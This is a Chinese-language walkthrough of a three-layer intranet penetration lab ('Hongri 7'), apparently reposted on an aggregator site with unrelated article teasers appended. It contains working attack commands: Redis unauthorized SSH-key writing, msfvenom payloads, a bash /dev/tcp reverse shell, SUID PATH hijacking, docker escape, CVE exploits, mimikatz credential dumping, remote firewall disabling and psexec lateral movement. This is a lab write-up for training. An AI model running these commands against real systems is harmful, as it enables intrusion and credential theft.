打穿内网三重奏-红日7

靶机下载地址:

漏洞详情 (qiyuanxuetang.net)

攻击链路:

DMZ区IP段为192.168.11.1/24
第二层网络环境IP段为192.168.52.1/24
第三层网络环境IP段为192.168.93.1/24

这里DMZ和攻击者我用的是192.168.11.1 这个网段,其他不变

这里我加了两张虚拟网卡,分别是52和93网段,在其他机器上增添一张网卡即可

环境配置:

域账户账号密码:
Administrator:Whoami2021
whoami:Whoami2021
bunny:Bunny2021
moretz:Moretz2021
Ubuntu 1: web:web2021
Ubuntu 2: ubuntu:ubuntu
通达OA账户: admin:admin657260

第一层网络DMZ区的 Ubuntu(web1) 需要启动redis和nginx服务:

sudo redis-server /etc/redis.conf
 
sudo /usr/sbin/nginx -c /etc/nginx/nginx.conf
 
sudo iptables -F

第二层网络的 Ubuntu(web2)需要启动docker容器:

sudo service docker start
 
sudo docker start 8e172820ac78

第三层网络的 Windows 7 (PC 1)需要启动通达OA:

C:\MYOA\bin\AutoConfig.exe

启动时会弹出一个需要输入账号密码,输入域管的账号密码即可,Administrator:Whoami2021

打开配置完成的页面:

一.信息收集:

nmap -T4 -A -v 192.168.11.1/24

发现新的IP:

进一步进行端口扫描:

nmap -sT -p1-65535 192.168.11.152

显然发现6379端口极为显眼,这个端口是基于Redis的服务,可能有未授权。

Redis未授权访问是因为一些Redis服务绑定到公共接口,甚至没有密码身份验证保护,部分Redis 绑定在0.0.0.0:6379,并且没有开启认证(这是Redis的默认配置),而又暴露在公网上,这样就会导致任意用户在可以访问此公网的情况下未授权访问Redis以及读取Redis的数据。

那么验证一下,是否有未授权

先连接目标机器的Redis的服务:

redis-cli -h 192.168.11.152

输入info看是否有回显

直接爆出一堆信息,包有未授权的

有了未授权,并且目标还开启了22端口,那么想办法获取目标机器权限,这里使用写入公钥

首先生成公钥:

ssh-keygen -t rsa

因为这里我之前生成过公钥,所以没有显示

将公钥写入文本:

(echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > key.txt

将公钥导入到目标机器的Redis:

cat key.txt | redis-cli -h 192.168.11.152 -x set xxx

连接Redis,将公钥写入目标主机:

config set dir /root/.ssh # 设置redis的备份路径为/root/.ssh/

config set dbfilename authorized_keys # 设置保存文件名为authorized_keys

save # 将数据保存在目标服务器硬盘上

那么,这里可以直接ssh连接了,根本不需要再输入账号和密码了,因为本地有私钥,直接就可以连接

ssh root@192.168.11.152

连接成功

查看主机信息:

ifconfig

发现了52这个网段,因为需要继续往里打,这里我选择上线MSF,MSF里面利用漏洞模块比较多,比较方便

MSF先生成木马:

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.11.128 LPORT=5555 -f elf > shell.elf

木马生成,那必须要进行上传到目标机器,这里的目标机器可以与攻击机器相通信,那么开放攻击机器的http服务,让目标机器远程下载木马

python -m http.server 8000

目标机器下载:

wget http://192.168.11.128:8000/shell.elf

给木马一个可执行权限:

chmod +x shell.efl

在启动木马之前,MSF先建立一个监听:

msfconsole
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp   
set lhost 192.168.11.128
set lport 5555
run

目标机器执行木马

成功上线

这里需要继续往里打,攻击机器无妨访问内网,那么直接添加路由,使攻击机可以触摸到对方内网

run get_local_subnets
run post/multi/manage/autoroute

成功添加路由

这里就可以开始考虑如何进攻内网了,之前扫端口的时候发现还有80和81端口,访问一下,看一下情况

第一个80端口

502,不让访问,并且发现是NGINX

那么打开81端口

发现是一个Larabel框架Laravel v8.29.0 (PHP v7.4.14),我之前也没见过,百度搜一下,还真有漏洞,CVE-2021-3129

感兴趣的可以搜一下看一下,这里我直接用工具梭哈了

https://github.com/SecPros-Team/laravel-CVE-2021-3129-EXP.git

这里直接写入了webshell,注意这里需要使用老板的哥斯拉连接,因为新版的加密方式变了不支持

Releases · BeichenDream/Godzilla (github.com)

选择Godzilla-V1.10下载

连接:

这老板本的看的是真不得劲,这里我建了一个反弹连接

bash -c 'exec bash -i &>/dev/tcp/192.168.52.10/8848

 ubuntu监听:

nc -lvp 8848

这里是普通权限,肯定要提权,这里进行一波信息收集,在查看主机的时候

发现一堆数字和字母,啥情况,接下来进行测试,发现是docker环境,要提权,猜测有没有docker逃逸漏洞

cat /proc/self/cgroup 

接下来进行提权,查找给了SUID4000权限的控制参数

find / -perm -u=s -type f 2>/dev/null

发现一个shell,进入目录,尝试运行

在运行shell的时候,它调用了ps进程,那么这里可以将ps修改为root权限,并且写入到环境变量,当一运行shell的时候,自动执行ps进程,那么可以直接得到root权限

环境变量提权:

cd /tmp
echo "/bin/bash" > ps
chmod 777 ps
echo $PATH
export PATH=/tmp:$PATH # 将/tmp添加到环境变量中,并且先加载执行/tmp里的程序
cd /home/jobs
./shell

提权成功

来一个tty交互:

python -c 'import pty; pty.spawn("/bin/bash")'

这里还处于docker环境,下一步获取主机权限

在docker创建wq目录来挂载文件:

mkdir wq

mount /dev/sda1 wq

ls wq

然后再web1上生成密钥:

ssh-keygen -f wq

chmod 777 wq

继续生成rsa秘钥:

ssh-keygen -t rsa

cat /root/.ssh/id_rsa.pub

我们将wq.hub中的密钥写入/wq/home/ubuntu/.ssh/authorized_keys中:

公钥写入web2:即docker环境

echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDSIsKvoCpk7ywLUjZDfLLJxsfZrIfiU/Rqhf1khtwxNNJF2yiF3rCj606FieM7MAtVjvNCz8VVgEtXM6IjHGzi/OpP+8ig2tLmm0lCvNbJxtzCBoslP59SxukhQPSf7bAwelVz/Old1Uh6zECBcKrzKNkXClTkS3rkZkqDv4HCknkQKkyDISuXT6h/XPmlh5Ulr8T2tPy58WX1A/wzq75JgKc8gQLz8wuM+MI1B8r/2pRCTHZmgU2OOatucLRBlNkqbbZPI162tnqtufvHv558qJeTMim8F/3BasSl6FXd2fYX2+3Gm6HXHcZKg8SIlbJPIbti+ch5LbRylOMb523B root@ubuntu' > wq/home/ubuntu/.ssh/authorized_keys

docker查看是否写入成功:

cat wq/home/ubuntu/.ssh/authorized_keys

成功

这里就可以用web1的ssh连接web2了

ssh -i /root/.ssh/id_rsa ubuntu@192.168.52.20

这里可能会有疑问,为什么这台机器就可以确定是192.168.52.20这台机器

在web1中进行信息收集的时候,在访问80端口的时候,访问出错,并且是nginx,这里查看nginx的配置

cd /etc/nginx/conf.d/
cat 80.conf
cat 81.conf

这里可以看到这个web1开启了流量转发,80端口转发到了WHOAMI这个地址,而81端口则转发到了http://192.168.52.20:8000这个地址,这里可以确定IP

这里获取到了web2机器的权限,但是权限太低,还是要提权

查看ubuntu版本:

uname -a

发现linux的版本是14.04  ,网上找一下这个版本有没有漏洞,还真有此版本存在CVE-2021-3493漏洞

这里使用脚本一键提权,地址:

GitHub - briskets/CVE-2021-3493: Ubuntu OverlayFS Local Privesc

touch exploit.c
vim exploit.c                  //粘贴POC
gcc exploit.c -o exploit #编译
chmod +x exploit
./exploit

成功提权

继续上线MSF,MSF生成木马并且监听:

msfvenom -p linux/x64/meterpreter/bind_tcp lport=6666 -f elf > bind.elf
use exploit/multi/handler
set payload linux/x64/meterpreter/bind_tcp
set RHOST 192.168.52.20
set LPORT 6666
run

web2远程下载生成的木马,并运行:

成功上线

信息收集查看网段:

又发现了一个新网段,93网段,还是先添加路由

run get_local_subnets
run post/multi/manage/autoroute

至此拿下了两台web服务

这里拿下了web2,首先要进行一波信息收集,这里不知道52网段和93网段都有哪些机器,那势必要进行主机发现和端口扫描,在此之前建立一个隧道

搭建隧道:这里使用的是ew代理工具

idlefire/ew: 内网穿透(跨平台) (github.com)

kali操作:

./ew_for_linux64 -s rcsocks -l 1080 -e 1234

目标机器下载EW:(web1)

./ew_for_linux64 -s rssocks -d 192.168.11.128 -e 1234

将socks5的服务器指向127.0.0.1:1080:(kali)

vim /etc/proxychains4.conf

socks5 127.0.0.1 1080

完成以后返回MSF,开始52网段的扫描:

use auxiliary/scanner/discovery/udp_probe
set rhosts 192.168.52.1-255
set threads 5
run

最后发现还有一台主机 192.168.52.30

对于这台主机,进行单一扫描:

proxychains4 nmap -Pn -sT -sV -F -O 192.168.52.30

直接扫出一堆端口,开了8080端口的http服务,并且135和449端口都开了并且还是Windows,那么大概率是有永恒之蓝漏洞的,但是对方开了防火墙,大概率打不进去,那么只能看看http服务有什么了

火狐浏览器配置好代理访问目标端口

查看源码,是通达OA

这里我是用的漏扫工具,我在物理机上线配置了全局代理,才能访问目标内网,进行漏扫

这里的漏扫工具可以去网上找,一大堆的,这里不再提供

这里直接利用了,我用蚁剑连接:注意配置代理

发现这台主机也有93网段,我直接传fscan扫描

Releases · shadow1ng/fscan (github.com)

fscan64.exe -h 192.168.93.1/24 >2.txt

直接发现了192.168.93.30是一台Windows server 机器,并且名字还是DC,有永恒之蓝漏洞,没跑了,拿下30机器,就拿下了域控

扫描发现域控有永恒之蓝,这里从这个方向入手

我先将这台Windows机器上线MSF,上线PC1:

kali监听:

msfvenom -p windows/meterpreter/bind_tcp LPORT=4444 -f exe > msf.exe

use exploit/multi/handler

set payload windows/meterpreter/bind_tcp

set lport 4444

set RHOST 192.168.52.30
run

木马建立好,直接通过蚁剑上传,并且运行

成功上线

信息收集:

net view

#查询域控在哪里?(得域控IP)

nslookup -type=SRV ldap._tcp

#查询域中一共有多少个用户

net user /domain

#net user 查看本地用户

#查询域中一共多少个电脑

net group "domain computers" /domain

#查询域控的名字

net group "Domain Controllers" /domain

在进行一波信息收集之后发现 93.30机器就是域控DC

使用MSF的模块抓密码:这里要迁移进程,因为抓密码需要64位

load kiwi
kiwi_cmd privilege::debug
ps
migrate 332
kiwi_cmd sekurlsa::logonpasswords

直接抓到了明文密码:

接下来就简单了,横向移动,上线域控,这里有很多方式横向,比如白银票据,黄金票据,wmic横向,IPC横向等等等等,这里我选最简单的,傻瓜式操作,直接用MSF的模块一键上线

在此之前先在域控建立一个IPC连接先关闭防火墙:(蚁剑执行)

net use \\192.168.93.30\ipc$ "Whoami2021" /user:"Administrator"
sc \\192.168.93.30 create unablefirewall binpath="netsh advfirewall set allprofiles state off"
sc \\192.168.93.30 start unablefirewall

使用MSF的psexec模块横向,上线域控:

use exploit/windows/smb/psexec
set payload windows/meterpreter/bind_tcp
set rhost 192.168.93.30
set smbuser administrator
set smbpass Whoami2021

成功上线

这里还有一台机器没有上线,都拿下域控了,剩下那台机器还能拿不下吗,这里不再演示

到此三层内网拿下

其实这里还可以上线CS,CS用起来比MSF更直接

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/969016.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

windows 10安装sqlyog详细步骤

sqlyog下载链接: 链接: https://pan.baidu.com/s/1D_iRna8V90omfHsKHyeBtg 提取码: bqht 复制这段内容后打开百度网盘手机App,操作更方便哦 1. 下载完以后解压,双击SQLyog-12.0.9-0.x64 2. 如下图,选择Ok 3 . 如图,点…

OpenAI 放王炸,将发布整合多项技术的 GPT-5,并免费无限使用,该模型有哪些技术亮点

对于 ChatGPT 的免费用户,将可以无限制地访问 GPT-5,但仅限于标准的智能级别。该级别会设定滥用限制,以防止不当使用(意思就是你得付费嘛)。 OpenAI CEO Sam Altman 今天在 X 上透露了 GPT-4.5 和 GPT-5 的最新发展计划。 OpenAI 将发布代…

深度学习框架探秘|TensorFlow vs PyTorch:AI 框架的巅峰对决

在深度学习框架中,TensorFlow 和 PyTorch 无疑是两大明星框架。前面两篇文章我们分别介绍了 TensorFlow(点击查看) 和 PyTorch(点击查看)。它们引领着 AI 开发的潮流,吸引着无数开发者投身其中。但这两大框…

UEFI PI PEI(2. PEI Services and Table)

PEI Services 1. PEI Services Table介绍 PEI Foundation建立了一个名为PEI Services Table的系统表,该表对系统中的所有Pre-EFI初始化模块(PEIMs)可见。 PEI Foundation在系统初始化时所需要的功能、命令或其他能力,会被抽象然…

2025常用的SEO工具有哪些?

在互联网时代,如何让自己的网站或内容脱颖而出,成为许多企业和个人站长们最关注的问题。而在这个过程中,SEO(搜索引擎优化)作为一种有效的提升网站曝光度和吸引流量的手段,已经成为了网站运营的核心之一。对…

Winform自定义控件与案例 - 一款功能丰富的自定义文本按钮(TextButton)控件

深入解析:TextButton —— 一款功能丰富的自定义文本按钮控件 在 WinForms 开发中,标准的按钮控件虽然能够满足基本需求,但在现代 UI 设计中显得过于简单。为了提升用户体验和界面美观度,我们开发了 TextButton,一个基于 WWControlBase 的自定义文本按钮控件。它不仅支持…

安卓自我学习

纯粹三分钟热度, 这里 我百度查询资料, 按步骤创建了emtry 项目, 这里选择apk 12 , java 别问我kotlin, 啥都不会, …… 至于是叫小林学习,最初是在csdn 那里看到小林博主的文章, 激起一点点热度, 想学习一下 找了一圈 我先右上角选择 trouble ,, ,,看图1-1 图1-1 点运行…

【SpringBoot3.x+】slf4j-log4j12依赖引入打印日志报错的两种解决方法

最开始引入了1.7.5版本的slf4j-log4j依赖包,但是控制台不报错也不显示日志 在https://mvnrepository.com/找到最新的2.0.16版本之后出现报错: 进入提示的slf4j网站中可以找到从2.0.0版本开始,slf4j-log4j已经被slf4j-reload4j取代&#xff1…

LabVIEW袜品压力测试系统

开发了一种基于LabVIEW开发的袜品压力测试系统。该系统利用LabVIEW并结合灵敏的传感器和高精度的处理模块,实现了对袜品压力的精确测量和分析。系统不同于传统的服装压力测试方法,为研究和评价袜子的舒适性提供了新的测试手段。 ​ 项目背景 该系统的…

【Unity Shader编程】之顶点着色器

来一张AI提供的资料 一,坐标空间转换 空间转换中,一般有五个空间转换,模型空间→世界空间→视图空间→裁剪空间→NDC空间(其次坐标空间,执行其次坐标后的空间)→屏幕空间 核心原则 1,数据依赖原则 当逻…

咸鱼换绑手机号能换ip属地吗?深入探讨

随着移动互联网的普及,手机已经成为我们日常生活中不可或缺的一部分。而在各种网络应用中,手机号码往往扮演着重要的角色,它不仅是身份验证的关键,还关联着用户的地理位置信息。在二手交易平台如闲鱼上,用户的手机号和…

历史性突破!DeepSeek双模型GitHub热度超OpenAI,展现中国AI力量

在2025年2月7日,中国AI领域传来了一则振奋人心的消息:DeepSeek旗下的两大开源项目在GitHub平台上实现了历史性突破,其Star数成功超越了OpenAI的明星项目。这一成就不仅标志着DeepSeek在技术研发和市场影响力上的重大飞跃,也为中国…

【论文笔记】ZeroGS:扩展Spann3R+GS+pose估计

spann3r是利用dust3r做了增量式的点云重建,这里zeroGS在前者的基础上,进行了增量式的GS重建以及进行了pose的联合优化,这是一篇dust3r与GS结合的具有启发意义的工作。 abstract NeRF和3DGS是重建和渲染逼真图像的流行技术。然而,…

【CLIP系列】4:目标检测(ViLD、GLIP)

目录 1 ViLD2 GLIP2.1 前言2.2 损失计算2.3 模型框架 1 ViLD OPEN-VOCABULARY OBJECT DETECTION VIA VISION AND LANGUAGE KNOWLEDGE DISTILLATION 从标题就能看出来,作者是把CLIP模型当成一个Teacher,去蒸馏他自己的网络,从而能Zero Shot去…

基于Docker-compose的禅道部署实践:自建MySQL与Redis集成及故障排查指南

基于Docker-compose的禅道部署实践:自建MySQL与Redis集成及故障排查指南 禅道镜像版本:easysoft/zentao:21.4 Redis版本:redis:6.2.0 Mysql版本:mysql:8.0.35 文章目录 **基于Docker-compose的禅道部署实践:自建MySQL与…

Elasticsearch:同义词在 RAG 中重要吗?

作者:来自 Elastic Jeffrey Rengifo 及 Toms Mura 探索 RAG 应用程序中 Elasticsearch 同义词的功能。 同义词允许我们使用具有相同含义的不同词语在文档中搜索,以确保用户无论使用什么确切的词语都能找到他们所寻找的内容。你可能会认为,由于…

0基础学LabVIEW

对于零基础的朋友来说,学习LabVIEW需要一个科学的学习路径和方法。通过观看优质的B站教程打好基础,再结合实际项目进行实践操作,能够快速提升LabVIEW的应用能力。以下是从入门到进阶的学习建议。 ​ 一、利用B站入门教程打基础 筛选优质教程…

7. Docker 容器数据卷的使用(超详细的讲解说明)

7. Docker 容器数据卷的使用(超详细的讲解说明) 文章目录 7. Docker 容器数据卷的使用(超详细的讲解说明)1. Docker容器数据卷概述2. Docker 容器数据卷的使用演示:2.1 宿主 和 容器之间映射添加容器卷2.2 容器数据卷 读写规则映射添加说明2.3 容器数据卷的继承和共…

零售行业线下门店的AI知识库应用实践

在竞争激烈的零售行业,线下门店的运营效率和服务质量是企业成功的关键因素之一。随着AI技术的不断发展,越来越多的零售企业开始探索如何利用AI知识库提升线下门店的运营效率和员工服务水平。 1. AI知识库在零售行业的应用背景 零售行业面临着诸多挑战&…

Unity Behavior Designer - Behavior Trees for Everyone(行为树)为什么称作AI 的“基石”之一

Behavior Designer 是 Unity 中一个用于创建行为树的插件,主要用于 AI 和 NPC(非玩家角色)的行为管理。行为树(Behavior Trees)是一种基于树形结构的决策树模型,广泛应用于游戏开发中,特别是在控…